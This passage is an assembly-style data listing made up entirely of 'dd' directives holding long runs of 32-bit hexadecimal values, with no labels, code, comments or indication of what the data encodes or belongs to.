		dd 0E97E6Fh, 106B30F9h,	159643CAh, 18AE2800h, 0D87338DFh
		dd 0DEDB00B6h, 9FB0F54Eh, 0D2038BC9h, 8E178D08h, 7D3AA0E6h
		dd 8CAD00EAh, 0E0290656h, 35076273h, 0DC2E33BAh, 0F0BDDF83h
		dd 0F8A5E18Dh, 17CECA0h, 0D1D25057h, 0BD552753h, 23728010h
		dd 7B8D1FF3h, 0A3880094h, 0D3ED3E37h, 80FFBAEAh, 0E20C839h
		dd 159D51h, 540C809Fh, 789EB6C0h, 288D0ACCh, 0F21B00F9h
		dd 6CF449A7h, 0BC18C3E5h, 2A9E35Eh, 380A1DBEh, 7E528074h
		dd 3A9C30D5h, 14B6F00h,	7929E847h, 9DDC14DBh, 0BA807865h
		dd 5689815Fh, 763EC52Ch, 4EA87F02h, 0B0A66301h,	3963179h
		dd 108AC7AAh, 56E0AE87h, 0C3002019h, 0D35893F5h, 0CEF81Dh
		dd 0C69036DAh, 544A47DFh, 0A09C98C1h, 60BC8DEAh, 70C9328h
		dd 0D494D87Ch, 0DA40303Dh, 0E100849Ch, 352BA1Ah, 7951BCDCh
		dd 880D007Ah, 9856AEF1h, 2FE7C50Ch, 610303F0h, 0BFBB48E5h
		dd 8F6AF8DDh, 0E41FA700h, 209D3C80h, 0AFF2AE9h,	741E1474h
		dd 5B89DCDCh, 2474CE8Eh, 216ACF00h, 0DF134EF2h,	0B1281C00h
		dd 0EF1227FAh, 0A8151431h, 0E0146853h, 1878DC54h, 18F0D37Eh
		dd 3A00F134h, 4AB983A2h, 3BA332h, 39EC1AF4h, 0CC8C189Bh
		dd 0E12BC800h, 899E1679h, 856E14D5h, 1C038C84h,	0C959CCCFh
		dd 0EC327BD8h, 1D6FC801h, 0AD64AF8Bh, 0E03BCC0h, 48E20D31h
		dd 9165B7A0h, 4603C54Ch, 0D09C9E24h, 1D3FE13Dh,	19F7CE0h
		dd 4B7BAE4Fh, 0FC302CA9h, 84008F19h, 0BA42F99Ch, 0F2A51D53h
		dd 0E85B0108h, 640F98D8h, 3F45E48Dh, 0E3CB03Fh,	414206F7h
		dd 0B6AB94DFh, 0B99420h, 39032D44h, 119ABB3Ah, 7B728F00h
		dd 9C4E275Ch, 1848E618h, 987ED4F3h, 23319F59h, 98097883h
		dd 78DE0880h, 0FBEE497Ch, 29D29300h, 8C10B9B6h,	5C9072Dh
		dd 609E885Dh, 0C6141ED5h, 60B08700h, 4FCAF30Ch,	89731F35h
		dd 7BBE01EBh, 20A440C9h, 0C7000B31h, 0FACABFC5h, 1D87B963h
		dd 86442904h, 789F3A33h, 357EE707h, 805FB182h, 0EE36AD99h
		dd 282C6121h, 8C541A04h, 60A39EF0h, 0E5761Eh, 8FEBCAA8h
		dd 0EDCBE18Eh, 12531901h, 41303C60h, 0AFE23180h, 0C721C6FBh
		dd 18FCACF2h, 15F14F05h, 80002733h, 0D01B0219h,	0B68A0067h
		dd 1286DE87h, 9F3FB5F2h, 2918FCE3h, 9EA89378h, 6F84286Bh
		dd 7D0B00ECh, 8B122259h, 3D0926F2h, 300E45D6h, 17F9704h
		dd 0A8F16358h, 8023BFC8h, 9B437EF1h, 692A082h, 0F58650E8h
		dd 4200B01Ch, 7DD0021Fh, 0F3DA8BBh, 0F6D53880h,	22E40DC0h
		dd 7A48D35Fh, 8560C508h, 8AF428h, 0B3361EA7h, 29265FBFh
		dd 62831D5Ch, 486AB460h, 6F3B4Ch, 2081D2C4h, 0EFC9D446h
		dd 0CB003270h, 6543D7E4h, 0C03A8547h, 9D990698h, 44129F25h
		dd 1C412B2Fh, 0E96AAEBBh, 0E08FFF47h, 0AACED036h, 60CD008Ah
		dd 1C120377h, 26506D9Ah, 4B3A24E4h, 3A8161F1h, 3C24B1F3h
		dd 9C315662h, 80927F06h, 0F500286Ch, 4E1320B5h,	78ECC5h
		dd 0EDA45CA0h, 47BF5575h, 48C70900h, 9684736Eh,	30854818h
		dd 1DE5009Dh, 168694D7h, 9FDF3A00h, 233212Bh, 109072h
		dd 0EFBC8EAEh, 0A3895B6h, 9DDA9200h, 35F83ED4h,	6D1A0008h
		dd 11A42053h, 10004F25h, 0E33204BFh, 0E2A5B23h,	0BDB85A26h
		dd 13D27DC1h, 0D71C207Eh, 23FF40h, 0D8391615h, 6D8A2B8Ch
		dd 1DC0549h, 5CF51483h,	0BC5A96Ch, 8BD0D0h, 0CB7FFC98h
		dd 0CA297B46h, 0F48E8329h, 0B4C55904h, 800914D2h, 2F2BDC60h
		dd 0E7E40175h, 0DBBF1AECh, 0EA8BEC10h, 0BB0B9209h, 4CA43035h
		dd 7C104988h, 515EE018h, 0B1E61B0Ch, 4C282F1Fh,	4B70F406h
		dd 87770060h, 0B49037C7h, 0BA01E496h, 4C94E0B3h, 0E4481E8Eh
		dd 0A99F4492h, 4CEE4090h, 0DD631D77h, 33E020h, 2FBB7B69h
		dd 7839E7F5h, 0C4F05314h, 805C0988h, 0CFB02008h, 7A1559h
		dd 0ABB32AEh, 53B39AAAh, 0DFADA502h, 0A75C1DC0h, 3023AEA8h
		dd 3C390099h, 61321C7Ch, 2700F7FCh, 8C7668Bh, 0DE98135h
		dd 73913010h, 95F880A9h, 66EABEDFh, 4FA23512h, 8F5008F1h
		dd 209BAB42h, 968AAE3Bh, 204C48h, 44193EFBh, 16CEC42h
		dd 8E2216B8h, 50012E5Ch, 88B0A2CCh, 0AFA14F00h,	0C2455F18h
		dd 12900146h, 6EBBD1Eh,	49330C31h, 130EB44Ch, 0A402B41h
		dd 7811C4D7h, 778D4800h, 795EA97Ah, 9E372CEEh, 0A6574118h
		dd 5980519Dh, 0C0B857E0h, 5F601EA9h, 1189B58h, 825DA581h
		dd 482655ABh, 6048AC4Fh, 7F0422B1h, 0A1B07B5h, 20CD9C3Eh
		dd 6D0DE0CFh, 67C1700h,	0E3FFAF77h, 0FB8127E2h,	0FC27EA03h
		dd 3C826680h, 8EFE2C00h, 0BE8BA7EAh, 4322002Fh,	8A9F78B6h
		dd 0DE3FD6A5h, 0CD478374h, 88DD928Ch, 88F442h, 0F8069501h
		dd 764F773Eh, 1C99D117h, 0EE41D800h, 0BFD3A9h, 12B0066Ah
		dd 7BC64294h, 3C7AF000h, 0C70384A3h, 409C6062h,	2C1B4E8Ch
		dd 476E4B1Dh, 0FD0A4282h, 0ACCF61F0h, 1D7194ECh, 3156A17h
		dd 0BAA33EE3h, 5BCD8A0h, 0EC529903h, 0D831F276h, 7BA60E06h
		dd 0A49A003Dh, 0DEF805ABh, 0FE607BBDh, 0DB662138h, 38E60022h
		dd 9F1F34FAh, 20780F1h,	71951AA4h, 0A382D2h, 0BABDC67Ah
		dd 226941Ch, 67850EDh, 9BD0A7F9h, 650050E5h, 0D1887767h
		dd 3281815h, 0AE72D40Eh, 49FEE675h, 8500CDE2h, 0BD3D567Bh
		dd 1D2B32h, 170F9CB7h, 45B99989h, 0D171B130h, 387F08h
		dd 8D13949Fh, 88F7CC31h, 0F620A507h, 6CA0AA34h,	143FDF1Bh
		dd 0DC087CBCh, 98C60A1Dh, 0F1A9718Bh, 382B480Fh, 400B20C1h
		dd 228363h, 704C7A52h, 0EE78043h, 1C62130Eh, 5E1080BFh
		dd 527D274h, 46564FBCh,	50CC18B1h, 410123C2h, 0C00C7DDDh
		dd 20864AA2h, 71979A9Bh, 80D0790Ch, 378C30FAh, 0C0C8EF2Ch
		dd 0C1366CE9h, 310196EEh, 9B837BD9h, 39824EB1h,	0F75A2CBFh
		dd 81D582C0h, 0DF63B602h, 409F3C55h, 3F45F53Ch,	31E11EA4h
		dd 0C04AC780h, 6D00436Ch, 79DE4719h, 0E3FAC2CEh, 0BACF5841h
		dd 95346451h, 0AB8BDC4Ch, 98BDC86Ch, 7872037Fh,	24947587h
		dd 3EFD2EB0h, 0C3A18300h, 7BF242E7h, 497A0366h,	0F3E26BD6h
		dd 726A6380h, 1779E300h, 0A3570613h, 0C9E12A5h,	0C88844F0h
		dd 88389078h, 0BA00E30Ah, 9DCD40F2h, 111393h, 0D3AF015Ch
		dd 2A3CE90Dh, 0A73D730Ah, 784BE8BDh, 0F9606043h, 44794F6Bh
		dd 259C5Ch, 9AF73CF4h, 7461651Ah, 3C2C787Fh, 1DCC6C32h
		dd 88834901h, 0BC2AA1B7h, 4B030828h, 9E970031h,	53633B61h
		dd 54A2B100h, 8C7E9ACBh, 6534253Ah, 5033B5D6h, 34489521h
		dd 0EA714010h, 4B60C76Dh, 1141DF29h, 52B0050h, 4F9316BBh
		dd 48006BFBh, 0B164D00Dh
		dd 0E8B9AED6h, 90673B39h, 9A383630h, 0CB036912h, 4B028910h
		dd 51159173h, 0C96880DEh, 0F9E274h, 0D5357B71h,	0FBC639FDh
		dd 0B9787A14h, 8E0A7348h, 809F55D0h, 34DA9CE7h,	37CC8200h
		dd 4833A8h, 71ABE3D1h, 761B4435h, 6B6C9E01h, 2DF8305Dh
		dd 0A90F1A0h, 0A8FF4999h, 9F52809Ch, 0DB69AA22h, 6F97C8C0h
		dd 0FC5561F8h, 0AB2E4E6h, 0C87D7A50h, 54498268h, 948532F5h
		dd 179820C2h, 1AFE693Eh, 38620501h, 964C7015h, 3ADD1E4h
		dd 87123793h, 0BE8865B6h, 39C02EDBh, 35EE4AC8h,	167D0E6Ch
		dd 0AC22F9A1h, 7C903640h, 621D878Fh, 419F6153h,	0C207944Fh
		dd 0A0713578h, 0AB7A3A88h, 0AF4738F6h, 29EAD8Ah, 0D61A8094h
		dd 5622643Dh, 0F54F3407h, 0FC1029FEh, 0C69B80BCh, 9121C240h
		dd 28E5F900h, 0D74D0796h, 85B91DEFh, 0B83200D1h, 0F1CB3CBFh
		dd 8754BC00h, 5E43F39Bh, 0C8651835h, 0FC3A4127h, 0B04F452Ah
		dd 1D0DC21Bh, 8F76D818h, 9666001Eh, 83C839CAh, 0CF00D00Fh
		dd 0F454AC75h, 909329B1h, 48FE3A58h, 0A5E6D00h,	0EB7F744Eh
		dd 0C5E70318h, 3B88CD0h, 225985F4h, 15A8A7CCh, 0F900FDD1h
		dd 0C698E68Bh, 12069E08h, 20CD2761h, 7E9B3010h,	0C8047C91h
		dd 21031915h, 19122FF8h, 0C471A7D5h, 3F129B2Eh,	0C0711440h
		dd 60E3C280h, 35741834h, 817E279Ch, 4849A800h, 9DB7A9ABh
		dd 0D830308h, 0F6A7692Eh, 38435011h, 0F26A8200h, 6F114EB7h
		dd 0C8457A01h, 0DCB84269h, 782319C9h, 8378611h,	60CD274Bh
		dd 3E7CA5B6h, 189CE71Dh, 0EA9E1201h, 219779h, 2EC891h
		dd 0DA29FBCCh, 3E85BD65h, 19063270h, 20EFE205h,	4CB28800h
		dd 878C4468h, 1F68B8CEh, 2AF51206h, 86AC09E4h, 835F571Bh
		dd 0B0A75E78h, 7DB5EE07h, 683D60C6h, 831B8A46h,	68D4200h
		dd 0F062A303h, 0DC963FD1h, 0EF9D0A00h, 6349F366h, 0B9B2405h
		dd 0F804A8F7h, 6C8C6E50h, 0B9786005h, 0C6878E43h, 0A9B26807h
		dd 507433D9h, 0CA57B980h, 0B9453B28h, 2094F712h, 0EA89FAE8h
		dd 0B4FFDD2Ah, 6DD04600h, 0A6D106E3h, 488D2870h, 0DB4120E4h
		dd 1BB79022h, 79149F9Ah, 40AE76C9h, 0E29BFAE8h,	2BA71701h
		dd 0F347BB59h, 200A5426h, 98586705h, 0D8987992h, 0C1FC9500h
		dd 0C42E508Bh, 225C03F1h, 0D1D0B21Fh, 544497DAh, 0B5ABF71Ah
		dd 1AB389C1h, 38DC20DCh, 0D191816h, 6A56DE7Dh, 1724D828h
		dd 0A9CAC600h, 67717CAAh, 5C4476A0h, 5D30900Dh,	4CDDCC50h
		dd 3C00CC92h, 78CFCBB5h, 0EF9FAE7h, 0BBC36923h,	9966560h
		dd 0E3E6DD5Dh, 0A8B06F00h, 80CEB1A6h, 999C00C1h, 22B32548h
		dd 39001C45h, 0BB6AA359h, 383E7596h, 5580DE64h,	0A489C628h
		dd 56331BDFh, 0F6C948EDh, 43580051h, 0A505D32Eh, 69004757h
		dd 0E90A444Ah, 0EECAAEh, 4C4FA8A4h, 0CED1271Fh,	7485200h
		dd 0B8F813BAh, 0FCA01D4h, 20E8993Eh, 70A5F0EFh,	36A94D00h
		dd 0DF43B141h, 5BBE2615h, 90461989h, 0AF208064h, 44C59EB9h
		dd 0DAB00079h, 967E655Ch, 617539AAh, 25300500h,	53D9C31Ah
		dd 0A8FE076Fh, 0B7AD89C8h, 80AF679Bh, 0D13E31EFh, 40114E60h
		dd 900FB796h, 0B970145h, 0B3F9BF60h, 277085B9h,	704317B5h
		dd 0E49ACA12h, 57032203h, 729021B8h, 74A12900h,	0FC209252h
		dd 66E21F04h, 8A05CB2Eh, 45CF4980h, 9907C885h, 3998ABB9h
		dd 0B7A055B7h, 0FA21B5h, 91A1B3Bh, 6AC40364h, 0A48A712Ah
		dd 3AB8480Ch, 0A32B199h, 280B1311h, 56F00A0h, 4FBAE604h
		dd 251BF0FCh, 0DA28A362h, 52D890CDh, 56CF18F6h,	0EACB80F0h
		dd 0AC45D4E1h, 692660C0h, 58B434h, 0D3C1554Ch, 3AF6CE36h
		dd 9C7D5600h, 1F0EC2A2h, 473B1F75h, 0C1A80025h,	34F03783h
		dd 0A22ED02h, 0E00257BDh, 0E047AA7Ch, 7DC0ACDAh, 0A84C505Bh
		dd 1F760081h, 9AA69B7Dh, 0D4006D25h, 1C7771B0h,	3E6F7Ch
		dd 95BFD920h, 0A5FFC2B8h, 0BADD8C0h, 1EB152Fh, 28BF492h
		dd 0E0D6AABBh, 4D289066h, 8700304Fh, 4E8C6F99h,	0B8435781h
		dd 10560013h, 4C30F709h, 3806CF73h, 7C9BB4ABh, 329E15C0h
		dd 0AF00A022h, 671D4805h, 4105CE58h, 54E4C7B9h,	0AB779442h
		dd 0D5444962h, 0B02815F0h, 7FC90BAh, 3E48EB82h,	0C6757693h
		dd 74D53224h, 0A265F467h, 87F8CC07h, 4302EBA0h,	8CBE0022h
		dd 0EC318A68h, 4B11F723h, 431F7F4Ah, 971B071h, 40C0922Bh
		dd 63E75A11h, 0E5B800BBh, 0E9F6937Bh, 0E600C87Ch, 0CE38A37h
		dd 3076A6h, 8543CAAh, 122C721Dh, 0AF035F00h, 4A3D3317h
		dd 0C9C70EC0h, 0DDC19C94h, 0FC6D8C15h, 2800465Dh, 0AC104376h
		dd 0C62067h, 0D6ED938Bh, 0A89D442h, 7632AD00h, 0E4C5AF5Ah
		dd 0EF50033Bh, 9E28F692h, 5C8CA3B7h, 5F3A47F8h,	0ACC62300h
		dd 8B39EA13h, 7418002Fh, 466629BFh, 176648B7h, 0EA212068h
		dd 0EE30004Ah, 0C0EF6A78h, 4F01A3A6h, 925A576Ch, 28803585h
		dd 1F2E4B2Bh, 23005C8Bh, 41A52566h, 11E52BFh, 0DA6C4C56h
		dd 8429DDE4h, 0BE9A2681h, 84549818h, 2FC300E9h,	18AAF862h
		dd 0B8C46EA6h, 4100E9BEh, 0FECD6AFh, 500A3C5Bh,	1F489C1Ah
		dd 8ADC9A71h, 0D91B7Ch,	0BA739227h, 570004B8h, 3F6DB91Fh
		dd 152BC7h, 5C8FE82Eh, 9273CA2h, 0E0A43551h, 0B9540380h
		dd 4E305554h, 0A118917Dh, 4C2D7E7Ch, 4D008115h,	7987B4CCh
		dd 5900FA86h, 0C0F67F05h, 135356D7h, 39E8C66h, 96AB8AEBh
		dd 407BA0D1h, 4FE626DCh, 45C0C4ABh, 0F91CA421h,	0D2C032E9h
		dd 39D11E08h, 794B0F05h, 0A0064ACh, 0B526D637h,	3F84F454h
		dd 0DDCAB200h, 87039895h, 0D1780004h, 1E804794h, 551FC6B4h
		dd 0E9408B02h, 0DF324B15h, 0E41B5495h, 0B3DC0003h, 22FDFF47h
		dd 0F3012CB9h, 0E57F3019h, 0C22287Eh, 5FE2D22h,	2052D000h
		dd 0ADCF2BB5h, 0EDEC0362h, 0D11593CDh, 0FEC097C2h, 590FBD30h
		dd 0C1C59A3Eh, 0AF91AEDh, 0C2E382E0h, 75A284B9h, 33FA880h
		dd 707044A4h, 0E233D400h, 0BFBA4D07h, 36950CD3h, 8D287459h
		dd 8150AA48h, 4968577Ch, 0A8188822h, 0E52259E7h, 78D5000h
		dd 74826A66h, 9D100CEAh, 5D71A321h, 197E9B03h, 0C1EF770Fh
		dd 18236BCEh, 0C0496F37h, 0BCC67A73h, 9FF9105h,	0A004F634h
		dd 68901130h, 79062A38h, 245A48C9h, 1F7F1410h, 0B0E90CDBh
		dd 31C6440Ch, 882A5697h, 0B0245472h, 13840070h,	0C429D81h
		dd 0E700C936h, 0A83C0B8h, 7942FD7h, 89BBFB5Dh, 0EE1070B2h
		dd 61DF7338h, 1186D4C9h, 3027C8B0h, 0D1ACD118h,	60916D5Ah
		dd 0D0CD2B04h, 1FFF20CCh, 0B2411352h, 35C0D191h, 0D00E28Ch
		dd 0BD0899D0h, 762B35Eh, 914E52B2h, 0B92E3053h,	1890ED70h
		dd 3E740254h, 253CFA43h, 9E3D8900h, 0B815C3C0h,	89694831h
		dd 945032ACh, 0F62E1951h, 678A00F4h, 9458DA35h,	1B160B66h
		dd 39067698h, 388ECEh, 8FDE3EBCh, 90F1DA4Fh, 575D821Ch
		dd 9228B640h, 39B75918h, 0E8D08A39h, 514F009Bh,	6C41230Dh
		dd 0C854A05Eh, 78A04398h, 0A004F3Fh, 1295A1D3h,	239F1F5h
		dd 0ACE4CA0Dh, 65604690h, 0C34C4F8h, 0BC02304Bh, 17ECB45h
		dd 8079A88Dh, 0B01353C9h, 1E1A8F07h, 0AD5A33h, 2C3EF0B1h
		dd 0A49A2347h, 8A262B00h, 933058BAh, 530C1FBBh,	0D14E809Eh
		dd 519C394Bh, 29ADAB01h, 3B32F1C6h, 0A046E4h, 7DE12ED7h
		dd 0D1028814h, 38605000h, 5CE3BE2Dh, 62EB00BFh,	8E03358Ch
		dd 4F0CC567h, 40CDA42Ah, 309279FAh, 0B5115F7Fh,	0CE00AC7Bh
		dd 0D8C3E969h, 2AC777h
		dd 719FDA2Eh, 1C7A1B1Eh, 4C73C100h, 0E7D58550h,	28CE165Bh
		dd 190A0015h, 0C4D9FCFh, 0F2551A00h, 512D1D0Dh,	0EF60C0ECh
		dd 6FDB63F8h, 674C5F00h, 43E619A3h, 0E1C13C88h,	69416801h
		dd 80809354h, 1B07C6E1h, 4EDC1Ch, 0F73A0CD8h, 0B09E881Dh
		dd 0CDB00E60h, 0F4B7A3h, 0D95A46A7h, 12A6ACBEh,	0CE5C1A03h
		dd 3CA93Fh, 0ED649428h,	0A297E110h, 84FBE202h, 0A16A0E9Dh
		dd 0E85F926Ch, 19998450h, 5BF207D6h, 968C510Bh,	0C600715Ah
		dd 0E5F5070Dh, 7016DC3h, 7D061D23h, 8AE040F9h, 506A718h
		dd 0E2A499C4h, 25B501C9h, 0C03036E4h, 6A9EF48Fh, 60E7440Ch
		dd 67B021E5h, 0F0AF6153h, 0FD6352F9h, 0C128B474h, 3C00B039h
		dd 6D21D7F6h, 2A326C9Fh, 0AC2CD0h, 0DECAC27Ch, 0C1D5E00Fh
		dd 0ED054B00h, 0E3366958h, 9860D03Eh, 56391CC0h, 6505AE52h
		dd 6841612Eh, 6010E400h, 0F25DFD4h, 5B76E431h, 59A1CDEFh
		dd 0DAD19C1h, 64F7AE8h,	383FE696h, 0E500580Dh, 36B8C01Ch
		dd 7BF60A78h, 26981C72h, 2B86C043h, 0A5BFCCDDh,	323E4873h
		dd 81AC508Ch, 7C803354h, 0EF0039F6h, 35A5A3D3h,	19D383Ch
		dd 3D24AEDAh, 0C00EA8E8h, 9200661Dh, 4D05A6C7h,	14494CAh
		dd 0A13269A2h, 0D19B61ACh, 14FFE0D1h, 5219CB60h, 4EDF6F7h
		dd 7D67B16Ch, 604300D3h, 0DD64CCh, 1555F107h, 6BF81CFAh
		dd 4A85000h, 431EF32Fh,	49AA6924h, 9722B380h, 5A0E8544h
		dd 2003F82Ch, 0A0A7BDC8h, 0EEE57BC7h, 89660521h, 0E4037C3h
		dd 589F03D7h, 5007B086h, 0ACE27700h, 0E388FDF8h, 0F32A0033h
		dd 3B7B75C9h, 5C3CC758h, 6CAF0026h, 37BBF1B3h, 6230CACh
		dd 0B588A38Ch, 1DF81700h, 92BA160h, 0BCE0CEh, 0FF1F0B6h
		dd 0CA4EAF25h, 4F44560Bh, 0A68780E2h, 204C31h, 9B13E5D0h
		dd 9A27CEE8h, 243294A0h, 3E9D44h, 5A5E6698h, 0FF08A37Ah
		dd 4B4D9900h, 802A7D42h, 0C0A70A83h, 86644E56h,	41A92001h
		dd 8C0EDE4h, 0C95A52D1h, 461B3955h, 0B680D680h,	0ED8F1D96h
		dd 92187CA4h, 0FA88A6FFh, 0D535001Bh, 42DDF26Ch, 0B1005EEBh
		dd 6146E630h, 7D312E56h, 60F06084h, 51F293F8h, 0E8C47CF6h
		dd 9C1070B6h, 3BA0EF00h, 0D0045D12h, 75952600h,	2CE4A7E5h
		dd 406360F2h, 0DA3B3096h, 820083F4h, 17CC8BCAh,	1724D87h
		dd 6F0431A9h, 403BAE10h, 368BC050h, 0BE805C0Bh,	0AA800040h
		dd 1432D7C3h, 0ACCCB750h, 31B63076h, 0B944E60h,	56EB9AA0h
		dd 0CB474801h, 51141799h, 56DE21E8h, 421984BFh,	50D8E0DBh
		dd 1AC92EA0h, 73756700h, 435F9EEFh, 81362E4Fh, 48470050h
		dd 0B9201558h, 0AC9B120Ah, 5D05542Ch, 0C800CC2Bh, 5CCF8439h
		dd 9D85295Bh, 3E1CBC84h, 0ED3130E9h, 15062C4Eh,	0DB2BF48Bh
		dd 57A00081h, 0E49F838Fh, 762C84E1h, 0FB0192C7h, 0FEDB28BEh
		dd 740022h, 5389CA83h, 0DA812293h, 826C2849h, 90C848F7h
		dd 1FB5DEDCh, 0C013C12Ch, 0C28D0467h, 0DA1E947Ah, 5B006BEFh
		dd 69D4B71Ch, 9E061BA7h, 0BCC09132h, 8129416h, 642015ADh
		dd 4514CE34h, 64E760A1h, 1211D860h, 7DAB4Fh, 897B1B75h
		dd 0BB99A949h, 9EAC6305h, 80410761h, 0C720E312h, 0FC9A184h
		dd 67709801h, 9DA8CE54h, 33FBFA0Eh, 0BE9640FFh,	0FDEEDFh
		dd 342B3DA7h, 0D09F207Dh, 0E4600492h, 0E3DD86B9h, 4BA93DAEh
		dd 0C0CE3900h, 1E617307h, 787C3D04h, 5C80EDD8h,	0A056F75h
		dd 0B3819A54h, 1DE3048Ch, 922891B2h, 13B180F9h,	7DD6DB1Fh
		dd 3550BF4Fh, 6D8D5D03h, 0D9AC8AFBh, 0B18925B2h, 0CC20AB24h
		dd 90072379h, 0B9E88E00h, 75A3C09Fh, 27E60087h,	590556FEh
		dd 0C0ABBB57h, 0E301D8A2h, 8C50161Eh, 0A8BC7DE4h, 290F4B4h
		dd 728D9D2Ch, 944049ACh, 0CA7F5943h, 1C321100h,	4B53B2D3h
		dd 0C7F6F22Dh, 0B07192B9h, 0EA52FB51h, 0A1849900h, 3E442BA0h
		dd 0D1F31380h, 80808CEh, 0ADFE6380h, 12F7D95h, 0A572DE32h
		dd 621C6D38h, 5AE30600h, 130FA87h, 593F1C9h, 0F7CE3A2Bh
		dd 249911A3h, 326045C5h, 90616D14h, 20D202F3h, 0CD485AC9h
		dd 4BFFDE04h, 34981136h, 0EA6A003Ch, 734A894Eh,	8D7FC06Dh
		dd 0A8794D24h, 0B4A6290Ah, 2DC6BF80h, 493475F6h, 0E485844Bh
		dd 40405A21h, 43057C80h, 0B901CCF1h, 4F491147h,	9080E366h
		dd 59981245h, 0EC0E1BFEh, 4A471C0Dh, 4162BC65h,	34F58ACEh
		dd 9CFB928Ah, 0C2CBF680h, 19BC4AAh, 1871C13Ah, 0D050E731h
		dd 0D8003579h, 2AE2A65Ah, 1B7442CBh, 0C1DC29BBh, 43E8B4B8h
		dd 0DD75D20Eh, 0E6A6E066h, 3FFDF980h, 74A9286Dh, 69F117Ch
		dd 0F2FE0D9Eh, 9314009Ah, 472B6B10h, 0F62628E8h, 0DA8014CFh
		dd 31380866h, 423490B8h, 0DF51086Fh, 22279232h,	2CC424B8h
		dd 76DEF707h, 9A37167Ch, 81AD7540h, 0D71D00D8h,	7DD4A979h
		dd 3015DF12h, 840269h, 81DDE610h, 0B04C76h, 0FD11C6BEh
		dd 0C9C70F08h, 156AE76h, 50493CA8h, 0EC0057C8h,	4B081CA9h
		dd 0E2555h, 4677DF4Eh, 442EAE0Fh, 23BFE109h, 0B1FC9838h
		dd 69A140E6h, 0E937A400h, 555871Bh, 0B89500EBh,	42C044ECh
		dd 0FA58624Ch, 778C4399h, 0A1F180E7h, 0F9C27455h, 5AF72E4Bh
		dd 78F88558h, 0EC48C888h, 31255430h, 3C0F536h, 40AA205Ah
		dd 8095F779h, 0EB681014h, 18A1B600h, 28A9D96Eh,	175C12C8h
		dd 0D85C7752h, 75862E87h, 0A3D0F110h, 567E1DACh, 5916800Eh
		dd 37C41836h, 0E53F709Bh, 8CC829A8h, 0B8A900E4h, 0A07726EDh
		dd 28006351h, 9425E566h, 247261A7h, 12B8E0E8h, 9870255Ah
		dd 471D3C48h, 590BA2EAh, 0E494B9ADh, 0C976DC19h, 0D878DB68h
		dd 7A16EB01h, 53C40E49h, 0CAE02E9Bh, 40BC9D6Ch,	66EC71FBh
		dd 0A36FF972h, 0AE9E880h, 24A8C9h, 3590BEC2h, 0B400B2C0h
		dd 784F98F5h, 492BCE58h, 41154CE1h, 881EF094h, 75007F46h
		dd 1DF5B7EAh, 0A3F7BA8h, 2B5ABA5Fh, 5402D80Eh, 1DCCE11h
		dd 0FC618DA1h, 0BF00479Dh, 684DA33Ah, 0D4B2DDh,	0FCEB1939h
		dd 317D1622h, 1B08F90Ch, 70339D0h, 7CAB6243h, 1F54B027h
		dd 94AE743Bh, 80FC6758h, 256AAED8h, 648C2609h, 8426C298h
		dd 3C4AA010h, 0F4856F53h, 40F13BEh, 0CD27DAA0h,	0A24440F4h
		dd 4857198h, 0A56EFE54h, 10D0211Ch, 2D719594h, 9807FCE4h
		dd 0A989F07Dh, 0EE3FE311h, 88DA7070h, 0FF0FEB33h, 80456D7Ch
		dd 5556940Dh, 0CCFC1202h, 0FD3098CEh, 0F02C9F4Ah, 1E48841Bh
		dd 0C8F7CCA8h, 0A26722BBh, 4DB1CB01h, 8F897937h, 2A6ECh
		dd 78458B75h, 3D7E4FEDh, 0C00E1A26h, 170A03Eh, 0AB960AC9h
		dd 28FDFE6Dh, 1404A070h, 592F00E2h, 0A2C21E58h,	2805E30Ah
		dd 0A75C0FBFh, 0FA3648Ch, 3CA45E61h, 0C74600B3h, 0FA7FF5E1h
		dd 40B8F67Eh, 0D07538A1h, 0BD127996h, 0F898D26Ch, 0BF7B7Bh
		dd 0D1B3DC88h, 0C885515Fh, 7C4AE00h, 0E920ED6Bh, 0F146035Bh
		dd 0E577870Bh, 4DFA32A0h, 0FCFE3Ch, 0A520A7A4h,	521157h
		dd 0BACB7668h, 32F21EEDh, 0AF60F01h, 0EE20611Ah, 3987F0h
		dd 0D1D8E9C4h, 4A33522Bh, 72DA5B00h, 242D1B91h,	51BE007Ch
		dd 393A751Dh, 70C0F3B4h, 20C2620Fh, 3C4900D6h, 8F7FF961h
		dd 4B32DB22h, 20E92808h, 56597279h, 0D703F678h,	0C0106E8h
		dd 32C00042h, 11C8712Fh, 0D8E87779h, 1164506h, 18213FCEh
		dd 4819A562h, 170020C6h, 0F2E50E92h, 3141CA8Bh,	0E70EDD91h
		dd 0FC18433Ch, 0AA747900h, 949E78DFh, 569F005Ah, 0DDD2CCD4h
		dd 0C6EE04C5h, 5B320A00h
		dd 4792119Eh, 4E6C30F1h, 81F7B4A9h, 3A15D971h, 19C041Eh
		dd 0B0B7D1D2h, 6BCCAC83h, 854C004Bh, 0B0C3643h,	4202262Fh
		dd 93F2F1E2h, 1E70832Dh, 9F41093Bh, 0CD8FD4DBh,	37799020h
		dd 1D00E856h, 0C7A01FFCh, 0F91E75h, 8EB09113h, 3F61ADDEh
		dd 4FB67718h, 74E5F298h, 0F0E9C880h, 84B6A680h,	6B23B1h
		dd 0B9855E3Fh, 3A18D23Eh, 0C5E1580Eh, 2CA3CFA7h, 0F8A4AAE2h
		dd 7BC3CADh, 170B7300h,	9FD6FFEEh, 2500E7E2h, 1B808192h
		dd 2FAF583h, 24C1DA71h,	5C407747h, 0C200D8C9h, 0A87FABB3h
		dd 370713CAh, 0A008CE2Fh, 23A3DC9Ah, 0CDB3A100h, 0FA787AA8h
		dd 0EAE303Ah, 77DC2170h, 0C5003290h, 32D98971h,	1938DF1h
		dd 898AAD2h, 8EE204F5h,	98DA9C48h, 32A5A8h, 9DB25A1Fh
		dd 146D927Fh, 0F0F43C00h, 0B976CBD8h, 51DD0F44h, 40783003h
		dd 141C7487h, 89408E59h, 136784D6h, 472000F0h, 0C99E48D7h
		dd 223098A4h, 269A98D0h, 0F4C8E9FDh, 0B82424A7h, 69D30755h
		dd 89E036ECh, 0D2F38919h, 2880DC31h, 4581FF20h,	57C1A69h
		dd 3078A80h, 4ED313EFh,	0D7F0C10Ch, 0B000C664h,	0FF8BC457h
		dd 605BA4A1h, 98A7319Ch, 0A3F009B9h, 0FFD269CEh, 0A0955B80h
		dd 7EF5E7B3h, 2F4F217h,	0D1800ED8h, 94A0ED4Fh, 0D98B83A7h
		dd 0B2CC3400h, 7905FA3Ch, 0CE7A0A86h, 918C6E85h, 0CD9D0145h
		dd 0E1AC41FCh, 0C457D030h, 992D28h, 0AA67B1C2h,	0BCB035C9h
